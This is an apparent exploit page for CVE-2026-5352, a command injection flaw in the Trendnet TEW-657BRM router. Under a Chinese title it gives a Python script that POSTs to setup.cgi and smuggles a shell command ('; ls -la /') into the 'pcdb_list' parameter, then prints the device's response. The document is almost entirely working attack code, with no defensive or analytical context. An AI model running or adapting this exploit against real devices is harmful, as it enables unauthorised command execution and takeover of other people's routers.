CVE-2026-5352 Trendnet TEW-657BRM 命令注入漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" # Replace with the actual IP of the vulnerable device url = f"http://{target_ip}/setup.cgi" # The vulnerable parameter is 'pcdb_list'. # We inject a simple command to list directory contents using a semicolon. payload = { "pcdb_list": "; ls -la /", "action": "edit" } try: print(f"[+] Sending exploit payload to {target_ip}...") response = requests.post(url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")